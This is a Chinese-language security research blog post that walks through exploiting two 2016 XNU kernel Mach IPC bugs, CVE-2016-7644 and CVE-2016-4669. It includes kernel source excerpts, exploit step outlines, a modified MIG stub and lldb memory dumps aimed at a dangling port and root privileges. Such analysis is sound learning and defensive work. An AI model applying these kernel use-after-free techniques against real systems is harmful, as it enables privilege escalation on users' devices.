作者:mrh
本文是第三篇基于漏洞分析来学习Mach IPC
的方面知识的记录。
阅读顺序如下。
1.再看CVE-2016-1757—浅析mach message的使用
3.从CVE-2016-7644回到CVE-2016-4669(本文)
CVE-2016-7644这个漏洞,本身是一个很简单的漏洞,但是通过一些技巧,可以做一些更有意思的事情。
poc
与writeup
在这里。
CVE-2016-4669的POC,之前我已经分析过了,详见CVE-2016-4669分析与调试。在做完这一系列的IPC
相关的漏洞研究与学习之后,尝试的对CVE-2016-4669这个漏洞实现一个提权的利用。
并不能稳定触发,不过也加深了对内核的内存布局与IPC模块的理解。代码在这里。
漏洞的成因并不复杂,当两个线程同时调用时,ipc_port_release_send
函数可能会被调用两次。
kern_return_t
set_dp_control_port(
host_priv_t host_priv,
ipc_port_t control_port)
{
if (host_priv == HOST_PRIV_NULL)
return (KERN_INVALID_HOST);
if (IP_VALID(dynamic_pager_control_port))
ipc_port_release_send(dynamic_pager_control_port); <--竞争发生的地方
dynamic_pager_control_port = control_port;
return KERN_SUCCESS;
}
在ipc_port_release_send
函数内会修改port
的一些属性,因为两个线程同时调用,触发了并发的漏洞,导致了bug
的发生。
void
ipc_port_release_send(
ipc_port_t port)
{
ipc_port_t nsrequest = IP_NULL;
mach_port_mscount_t mscount;
if (!IP_VALID(port))
return;
ip_lock(port);
assert(port->ip_srights > 0); <--线程[2] ip_srights == 0,触发assert,导致内核崩溃
port->ip_srights--;
[...]
ip_unlock(port); <--线程[1] ip_srights已经变为0,且port锁已经释放
[...]
}
POC 代码编译成功之后,利用shell循环执行就可以触发内核崩溃,因为是并发的漏洞,所以需要尝试的次数比较多,手动执行可能很难触发。
通过阅读mach_portal_redist
项目的kernel_sploit.c
文件,漏洞的利用总共分为以下几个部分。
port
的野指针UAF
获取kernel port
想要完全理解这几个部分,就需要了解更多的IPC
相关的知识。
通过漏洞获取一个指向port
的野指针,流程大致如下。
//申请port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
//在ipc系统中隐藏一个port的reference
stash_port (p) ;
//dynamic_pager_control_port获取一个port的reference
set_dp_control_port(host_priv, p) ;
// [1] 准备阶段结束
//释放task对port的send right
mach_port_deallocate (p);
//触发漏洞
race();
//释放stash_port
free_stashed_ports();
// [2] 获取port的野指针
当代码执行到[1]处时,做好了所有触发漏洞前的准备。我们的port
拥有3对right
和reference
。
通过mach_port_allocate
函数的执行,task
拥有port的一份right
和reference
。
通过set_dp_control_port
函数的执行,dynamic_pager_control_port
拥有port的一份right
和reference
。
这两个部分比较容易理解,stash_port
的原理较为复杂,利用了IPC
系统通过mach message
传递消息时的特性。
在通过message
传递一个port right
时的流程大致如下。
/*
ipc_kmsg_copyin_body
|
|----> ipc_kmsg_copyin_ool_ports_descriptor
|
|-----> ipc_object_copyin
|
|----> ipc_right_copyin
*/
kern_return_t
ipc_right_copyin(
{
[...]
case MACH_MSG_TYPE_MAKE_SEND: {
if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
goto invalid_right;
port = (ipc_port_t) entry->ie_object;
assert(port != IP_NULL);
ip_lock(port);
assert(ip_active(port));
assert(port->ip_receiver_name == name);
assert(port->ip_receiver == space);
port->ip_mscount++;
port->ip_srights++; //通过发送数据,但是不从port中读取出来,使得right和reference都加1
ip_reference(port);
ip_unlock(port);
*objectp = (ipc_object_t) port;
*sorightp = IP_NULL;
break;
}
[...]
}
当代码通过IPC
系统发送一个port right
时,port
的right
和reference
都会加1,而在读取消息时,会把right
和reference
减1,所以在未调用free_stashed_ports
读取出message
之前,就在IPC
系统中存放了一份port
的引用。
调用mach_port_deallocate
函数可以释放目标port
的一个RIGHT
。我们的port
的reference
为3,sright
是2。
race
就是利用了set_dp_control_port
函数的漏洞,在并发执行的时,会导致对dynamic_pager_control_port
连续两次调用ipc_port_release_send
函数。
ipc_port_release_send
每执行一次,会对目标port
的sright
和reference
做出一次减一的操作。这个时候我们的port
的reference
变成了1,而sright
变成了0,以为没有sendright
存在了,所以会产生一个notify
,通过这个土整,我们就可以知道成功的发出了条件竞争的漏洞了。
在stashed_ports_q
的消息队列中还保存着我们传递的port
,只需要对stashed_ports_q
调用mach_port_destroy
,因为传递的port
的reference
已经是1了,在处理这个逻辑之后,port
在内核中就已经被释放了,而我们的task
中还保存了一个dangling
的port
。
/*
mach_port_destroy
|
|--->ipc_right_destroy
|
|--->ipc_port_destroy
|
|--->ipc_mqueue_destroy
|
|--->ipc_kmsg_reap_delayed
|
|--->ipc_kmsg_clean_body
*/
调用栈大致如上所示,最核心的逻辑在ipc_kmsg_clean_body
函数里实现。
对CVE-2016-4669的POC和漏洞成因的分析在这里。
没有了解过这个漏洞的同学可以先了解一下。
经过对IPC
模块一系列的漏洞的分析与学习,我尝试着对之前分析过的CVE-2016-4669
这个漏洞写一写利用。
思路大致如下:
port
调用ipc_port_release_send
。创造dangling port
。port
,获得root
权限。在正常的情况下,kalloc.16的某个Page
中的内存布局如下图所示(更多关于内存布局的只是可以查看这里):
kalloc.16
这个zone
中free element
。element
,且16个字节都使用到了。element
,但是只用前面八个字节,所有后面8个字节是0xdeadbeefdeadbeef
。因为漏洞会越界访问,对下个element
中的地址调用ipc_port_release_send
,所以通过向一个很多的stash port
,发送同一个target port
的right
,在发送完成后再释放其中一部分得stash port
,在kalloc.16
的zone
中制造触发漏漏洞的时候使用的free element
。
在构造完成后大致如下:
这里要把patch
的参数个数从1改成2。
#if UseStaticTemplates
InP->init_port_set = init_port_setTemplate;
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else /* UseStaticTemplates */
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
出发漏洞后,就可以看到内存布局。
简单的调试流程如下:
先找到mach_ports_register
函数第一次调用ipc_port_release_send
的地方,并下一个断点。
0xffffff800b0e22aa <+506>: call 0xffffff800b1c1bd0 ; lck_mtx_unlock
0xffffff800b0e22af <+511>: lea rax, [r15 + 0x1]
0xffffff800b0e22b3 <+515>: cmp rax, 0x2
0xffffff800b0e22b7 <+519>: jb 0xffffff800b0e22c1 ; <+529> at ipc_tt.c:1096
0xffffff800b0e22b9 <+521>: mov rdi, r15
0xffffff800b0e22bc <+524>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22c1 <+529>: lea rax, [r13 + 0x1]
0xffffff800b0e22c5 <+533>: cmp rax, 0x2
0xffffff800b0e22c9 <+537>: jb 0xffffff800b0e22d3 ; <+547> at ipc_tt.c:1096
0xffffff800b0e22cb <+539>: mov rdi, r13
0xffffff800b0e22ce <+542>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22d3 <+547>: lea rax, [rbx + 0x1]
0xffffff800b0e22d7 <+551>: cmp rax, 0x2
0xffffff800b0e22db <+555>: jb 0xffffff800b0e22e5 ; <+565> at ipc_tt.c:1097
0xffffff800b0e22dd <+557>: mov rdi, rbx
0xffffff800b0e22e0 <+560>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc</span>
然后执行exp
程序,一般情况下是第二次命中断点时,portsCnt=3
(第一次命中时portsCnt=1
并不是我们的代码触发的,可以不管)。内存布局如下:
(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000</span>
接着,mach_ports_register
的逻辑就会越界将0xffffff80115cfa00
处的0xffffff8013dee0e0
拷到task->itk_registered
中去。
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
ipc_port_t old;
old = task->itk_registered[i];
task->itk_registered[i] = ports[i];
ports[i] = old;
}
通过lldb
查看ports
的状态。
p *(ipc_port_t)0xffffff8013dee0e0
(ipc_port) $12 = {
ip_object = {
io_bits = 2147483648
io_references = 4057
io_lock_data = (interlock = 0x0000000000000000)
}
[...]
ip_srights = 4056
}
在第二次调用到mach_ports_register
的时候,会对他们调用ipc_port_release_send
。
//第二次调用mach_ports_register函数时,ports中的数据变成了刚刚存储的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
if (IP_VALID(ports[i]))
ipc_port_release_send(ports[i]);
这个时候再观察port
在内核中的状态,机会发现ip_srights
和io_references
都做了一次减一。
这个时候在释放掉所有的stashed port
就将我们的target port
释放掉了。因为通过触发bug
多释放了一次。
stashed port
创造了4096个reference
,释放掉所有的stashed port
就对reference
做了4096次减一,通过触发bug 又多做了一次release
,释放了一开始mach_port_allocate
创建的reference
。srights
与reference
相同。这一步在我的EXP
里就是看脸了,成功率并不是很高,没有找到稳定的利用方法。就不多说什么了,从别的EXP
里抄来的代码。
到这里整个MACH-IPC
相关的漏洞分析与学习就暂时告一段落了。
这篇分析日志,断断续续写了很久,可能思路有点不连贯,有什么问题欢迎大家一起探讨:)